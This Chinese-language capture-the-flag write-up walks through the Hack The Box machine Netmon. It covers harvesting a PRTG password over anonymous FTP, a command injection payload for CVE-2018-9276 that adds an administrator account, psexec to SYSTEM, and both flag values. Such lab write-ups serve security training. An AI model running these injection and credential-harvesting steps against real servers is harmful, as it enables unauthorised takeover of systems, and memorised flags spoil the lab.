[Hack The Box] Netmon – writeup

HTB: Netmon — 匿名 FTP 挖 PRTG 密碼 → 命令注入拿 SYSTEM


靶機 Netmon (HackTheBox)
作業系統 Windows Server 2016 (Build 14393)
難度 Easy
Target IP 10.129.119.178
Attacker IP 10.10.15.48
關鍵技術 Anonymous FTP、PRTG 設定檔密碼洩漏、密碼年份遞增、PRTG 命令注入 (CVE-2018-9276)、psexec
攻擊鏈一句話:
匿名 FTP 根目錄就是 C:\,直接撈 user.txt 並下載 PRTG Configuration.old.bak 挖出明文密碼 PrTg@dmin2018 → 密碼年份 +1 猜出現行密碼 PrTg@dmin2019 登入 PRTG → 用通知功能的 Execute Program 命令注入 (CVE-2018-9276) 建立本機管理員帳號 anon → impacket-psexec 取得 NT AUTHORITY\SYSTEM。

1. 偵察 Recon

1.1 全port 掃描

先用高速率掃全部 65535 個 TCP port,確認攻擊面。

(root☳kali)-[~/Desktop/HTB/Netmon]# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.119.178

01 — 全 port 掃描:21/80/135/139/445/5985/47001 與一串高位 RPC port

1.2 服務版本與腳本掃描

針對開放 port 跑 -sCV(服務版本 + 預設腳本)。

(root☳kali)-[~/Desktop/HTB/Netmon]# nmap -p 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV -oN services.nmap 10.129.119.178

02 — 服務掃描:FTP 允許匿名登入、80 埠跑 PRTG/18.1.37.13946

兩個關鍵發現,決定整條攻擊路線:

Port 服務 意義
21 Microsoft ftpd ftp-anon: Anonymous FTP login allowed,列出的目錄是 inetpub / Program Files / Users / Windows → FTP 根目錄就是 C:\
80 Indy httpd — PRTG/18.1.37.13946 PRTG Network Monitor,版本 18.1.37.x 有已知的通知命令注入 (CVE-2018-9276)
135/139/445 MSRPC / NetBIOS / SMB Windows 標準服務,之後拿到帳密要用 psexec 走 445
5985/47001 WinRM 備用的遠端執行管道
💡 heuristic:匿名 FTP 列出 Windows\、Program Files\ → root 幾乎就是 C:\,整顆硬碟可讀。看到第三方軟體(PRTG)要立刻記下版本,回頭查「它把密碼存在哪個檔」。

2. 立足:匿名 FTP 讀取檔案系統

2.1 匿名登入

以 anonymous 登入,密碼留空。

(root☳kali)-[~/Desktop/HTB/Netmon]# ftp 10.129.119.178
# Name: anonymous Password: (直接 Enter)

03 — 匿名登入成功,ls 列出的正是 Windows 系統根目錄 C:\

2.2 撈 user.txt

user flag 放在 \Users\Public\(Administrator 家目錄匿名進不去,Public 可以)。

ftp> cd Users\Public
ftp> get user.txt
(root☳kali)-[~/Desktop/HTB/Netmon]# cat user.txt

04 — 在 Users\Public 取得並讀出 user.txt

user.txt = 910506490ca14ebc1226a3ab1fd0f93f

3. 取得憑證:PRTG 設定檔挖密碼 → 登入

3.1 定位 PRTG 設定檔

PRTG 把設定(含密碼)存在 C:\ProgramData\Paessler\PRTG Network Monitor\。注意 ProgramData 是隱藏目錄,ls 不顯示,但照樣 cd 得進去。

ftp> cd “/ProgramData/Paessler/PRTG Network Monitor”
ftp> ls

05 — 三個設定檔:PRTG Configuration.dat / .old / .old.bak(最舊的 .old.bak 是重點)

3.2 下載設定檔

切成 binary 模式(避免 ASCII 換行轉換弄壞大檔),一次抓三個比對。

ftp> binary
ftp> mget “PRTG Configuration.*”

06 — binary 模式下載三個設定檔到本機
📌 替代做法(避免互動式 FTP 閒置被踢):直接用 wget 鏡像,一次拉完就斷。
wget -m --no-passive "ftp://anonymous:[email protected]/ProgramData/Paessler/PRTG%20Network%20Monitor/PRTG%20Configuration.old.bak"

3.3 挖出明文密碼

設定檔是上百萬 bytes 的 XML,用 grep 直接鎖定 dbpassword 欄位,一次比對三個檔。

(root☳kali)-[~/Desktop/HTB/Netmon]# grep -i -A 5 “dbpassword” *.dat *.old *.bak

PRTG Configuration.dat / .old → <dbpassword><flags><encrypted/></flags></dbpassword> (加密,無明文)

PRTG Configuration.old.bak → <dbpassword>
<!– User: prtgadmin –>
PrTg@dmin2018
</dbpassword>

  • 現行的 .dat / .old:密碼是 <encrypted/>,看不到明文。
  • 最舊的 .old.bak(日期早一年多):明文 PrTg@dmin2018,註解還直接洩漏帳號 prtgadmin。
💡 heuristic:越舊的備份越可能在「軟體加密密碼之前」產生。看到 .bak / .old / 帶年份的檔,優先翻最舊的那一個。

3.4 密碼年份遞增 → 登入

瀏覽器開 http://10.129.119.178,先試撈到的原始密碼。

07 — PRTG 登入頁 (NETMON)

用 prtgadmin / PrTg@dmin2018 → 失敗。密碼顯然被改過。

08 — 2018 密碼登入失敗(預期內)

人改密碼最常見的是「年份 +1」。試 prtgadmin / PrTg@dmin2019 → 成功進入 dashboard。

09 — PrTg@dmin2019 登入成功,System Administrator dashboard
✅ 憑證取得: prtgadmin / PrTg@dmin2019(PRTG 系統管理員)

4. 提權:PRTG 命令注入 → SYSTEM

原理:PRTG 通知功能的「Execute Program」會在觸發時執行一支程式,18.1.37.x 版把使用者填的參數原封不動串進 PowerShell 命令列、未做過濾(CVE-2018-9276)。PRTG probe 服務以 SYSTEM 身分執行,所以注入的指令即 SYSTEM 權限。

4.1 建立惡意通知

路徑:Setup > Account Settings > Notifications > Add new notification(或直接開 http://10.129.119.178/notifications.htm)。

10 — 新增通知

捲到最底 Execute Program 區塊:Program File 選內建 demo 腳本,Parameter 填注入字串,Username / Password 兩欄務必留空(原因見第 5 節)。

  • Program File: Demo exe notification - outfile.ps1
  • Parameter: 下方字串
  • Username / Password: 留空
test.txt;net user anon p3nT3st! /add;net localgroup administrators anon /add
# 拆解:
# test.txt → 餵給 demo 腳本的正常參數
# ;net user anon p3nT3st! /add → 建立本機帳號 anon
# ;net localgroup administrators anon /add → 把 anon 加進本機 Administrators 群組
# 只用字母/空白/分號,避開這版會過濾的特殊字元;故採「先建 admin 帳號再登入」而非直接彈 shell。

11 — Execute Program 設定(Username/Password 留空,才會以 SYSTEM 執行)

4.2 觸發通知

存檔後回清單,勾選該通知,點上方鈴鐺圖示送出測試通知,強制立即執行。等 10–15 秒讓指令跑完。

12 — 測試觸發:EXE notification is queued up

4.3 驗證帳號與權限

切回 Kali,用 smbmap 確認 anon 建好且為管理員(能讀寫 ADMIN$ / C$ 就是 admin)。

(root☳kali)-[~/Desktop/HTB/Netmon]# smbmap -H 10.129.119.178 -u anon -p ‘p3nT3st!’

13 — smbmap 顯示 ADMIN!!!,ADMIN$ / C$ 皆 READ, WRITE
📌 更現代的替代:nxc smb 10.129.119.178 -u anon -p 'p3nT3st!',帳號是 admin 時行尾會標 (Pwn3d!)。

4.4 取得 SYSTEM shell

用新帳號透過 psexec 起 shell:丟服務二進位到可寫的 ADMIN$、註冊服務啟動,服務預設以 SYSTEM 執行。

(root☳kali)-[~/Desktop/HTB/Netmon]# impacket-psexec anon:’p3nT3st!’@10.129.119.178
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

14 — psexec 取得 NT AUTHORITY\SYSTEM 並讀出 root.txt

root.txt = f7d2849c77182fb5438aaadbfc85f197

📌 若 psexec 被 AV 擋在 Starting service,改用無檔落地的 impacket-wmiexec anon:'p3nT3st!'@10.129.119.178。

5. 失誤與教訓

5.1 最大的坑:Execute Program 的 Username/Password 欄

第一次設定通知時,我在 Execute Program 的 Username/Password 填了 prtgadmin / PrTg@dmin2019,以為是「執行所需的登入」。

15 — 失誤:Username/Password 填了 prtgadmin(PRTG 網頁帳號,非 Windows 帳號)

結果觸發後帳號根本沒建出來,smbmap 顯示 0 authenticated session(s)。

16 — smbmap:0 authenticated sessions(connection 成功但認證失敗)

換 nxc 做乾淨診斷,明確回 STATUS_LOGON_FAILURE → 確認帳號不存在,問題在「執行」而非「payload 語法」。

(root☳kali)-[~/Desktop/HTB/Netmon]# nxc smb 10.129.119.178 -u anon -p ‘p3nT3st!’

17 — nxc 明確回報 STATUS_LOGON_FAILURE
❌ 成因:那兩欄的意思是「用這組 Windows 帳號 去 runas 執行程式」。prtgadmin 是 PRTG 的網頁登入帳號,不是 Windows 系統帳號,PRTG 嘗試用不存在的 Windows 使用者 runas → 執行直接失敗、靜默不報錯,注入當然沒跑。
修法:清空 Username / Password,讓 PRTG 以自身服務身分(SYSTEM)執行 → 重新觸發 → 帳號成功建立。
💡 heuristic:「Execute Program 的 Username/Password 不是給你登入用的,是 runas 的 Windows 憑證 — 不確定就留空,讓它用服務身分(SYSTEM)跑。」